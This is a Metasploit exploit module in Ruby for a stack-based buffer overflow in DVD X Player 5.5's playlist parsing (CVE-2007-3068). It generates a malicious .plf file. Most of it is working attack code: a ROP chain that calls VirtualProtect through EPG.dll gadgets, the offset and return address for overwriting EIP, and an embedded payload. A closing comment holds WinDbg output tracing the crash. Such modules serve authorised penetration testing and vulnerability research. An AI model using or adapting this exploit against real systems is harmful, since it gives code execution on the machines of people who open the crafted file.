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## # $Id: dvdx_plf_bof.rb 13673 2011-09-01 05:20:47Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "DVD X Player 5.5 .plf PlayList Buffer Overflow", 'Description'=> %q{ This module exploits a stack-based buffer overflow on DVD X Player 5.5 Pro and Standard.By supplying a long string of data in a plf file (playlist), the MediaPlayerCtrl.dll component will attempt to extract a filename out of the string, and then copy it on the stack without any proper bounds checking, which casues a buffer overflow, and results arbitrary code execution under the context of the user. This module has been designed to target common Windows systems such as: Windows XP SP2/SP3, Windows Vista, and Windows 7. }, 'License'=> MSF_LICENSE, 'Version'=> "$Revision: 13673 $", 'Author' => [ 'n00b',#Initial discovery, poc for 4.1 'D3r K0n!G', #Proof-of-concept for 5.5 'sickness',#ROP 'sinn3r',#Metasploit ], 'References' => [ [ 'CVE', '2007-3068' ], [ 'OSVDB', '36956' ], [ 'BID', '24278' ], [ 'URL', 'http://www.exploit-db.com/exploits/17745' ], ], 'Payload'=> { 'Space'=> 1000, 'BadChars' => "\x00\x0a\x0d\x1a", 'StackAdjustment' => -3500, }, 'DefaultOptions'=> { 'ExitFunction' => "seh",#none/process/seh }, 'Platform' => 'win', 'Targets'=> [ [ 'DVD X Player 5.5 Standard / Pro', { 'Offset' => 260,#To EIP 'Ret'=> 0x61626702, #POP EAX; RET [EPG.dll] 'Max'=> 2000, #Max buffer size } ], ], 'Privileged' => false, 'DisclosureDate' => "Jun 02 2007", 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [false, 'The file name', 'msf.plf']) ], self.class) end def exploit rop = [ 0x10011108,#VirtualProtect IAT [SkinScrollBar.dll] 0x616306ed,#MOV EAX, DWORD PTR DS:[EAX]; RET [EPG.dll] 0x616385d8,#XCHG EAX,ESI; RETN 0 [EPG.dll] 0x6162d202,#POP EBP; RET [EPG.dll] 0x6160cac8,#PUSH ESP [EGP.dll] 0x61626702,#POP EAX; RET [EGP.dll] 0xfffffaff,#Value to negate, will become 0x00000501 0x61627d9c,#NEG EAX; RET [epg.dll] 0x61640124,#XCHG EAX,EBX; RET [EPG.dll] 0x61626702,#POP EAX; RET [EPG.dll] 0xffffffc0,#Value to negate, will become 0x00000040 0x61627d9c,#NEG EAX; RET [EPG.dll] 0x61608ba2,#XCHG EAX,EDX; RET [EPG.dll] 0x6160b804,#POP ECX; RET [EPG.dll] 0x6164b001,#Writable location [EPG.dll] 0x6162e587,#POP EDI; RET [EPG.dll] 0x6163081d,#ROP NOP[EPG.dll] 0x61626702,#POP EAX; RET [EPG.dll] 0x90909090, 0x61620831,#PUSHAD; RET [EPG.dll] ].pack('V*') buf= '' buf << rand_text_alpha(target['Offset']) buf << [target.ret].pack('V') buf << rand_text_alpha(16) buf << rop buf << make_nops(15) buf << payload.encoded buf << rand_text_alpha(target['Max']-buf.length) print_status("Creating #{datastore['FILENAME']}...") file_create(buf) end end =begin 6400cd42 ffd3callebx {SHLWAPI!PathFindFileNameA (77f6c19c)} 0:000> p eax=0406a15c ebx=77f6c19c ecx=00001300 edx=040600d0 esi=00000001 edi=6405362c eip=6400cd44 esp=0012f488 ebp=00eafce0 iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000246 MediaPlayerCtrl+0xcd44: 6400cd44 8b8dec000000mov ecx,dword ptr <Unloaded_ionInfo.dll>+0xeb (000000ec)[ebp] ss:0023:00eafdcc=040600d0 0:000> dd eax 0406a15c41414141 41414141 41414141 41414141 0406a16c41414141 41414141 41414141 41414141 0406a17c41414141 41414141 41414141 41414141 0406a18c41414141 41414141 41414141 41414141 0406a19c41414141 41414141 41414141 41414141 0406a1ac41414141 41414141 41414141 41414141 0406a1bc41414141 41414141 41414141 41414141 0406a1cc41414141 41414141 41414141 41414141 0:000> g Breakpoint 2 hit eax=0406a15c ebx=77f6c19c ecx=040600d0 edx=040600d0 esi=00000001 edi=6405362c eip=6400cd4e esp=0012f47c ebp=00eafce0 iopl=0 nv up ei pl zr na pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000246 MediaPlayerCtrl+0xcd4e: 6400cd4e ff17calldword ptr [edi]ds:0023:6405362c=6400d890 0:000> g (464.c0c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00001389 ebx=040600d0 ecx=00000177 edx=0406a15c esi=0406af08 edi=00130000 eip=6400dd50 esp=0012f234 ebp=00000001 iopl=0 nv up ei pl nz ac pe nc cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010216 MediaPlayerCtrl!DllCreateObject+0x220: 6400dd50 f3a5rep movs dword ptr es:[edi],dword ptr [esi] 0:000> !address 6400dd50 64000000 : 64001000 - 0004e000 Type 01000000 MEM_IMAGE Protect00000020 PAGE_EXECUTE_READ State00001000 MEM_COMMIT UsageRegionUsageImage FullPath C:\Program Files\Aviosoft\DVD X Player 5.5 Standard\MediaPlayerCtrl.dll =end |
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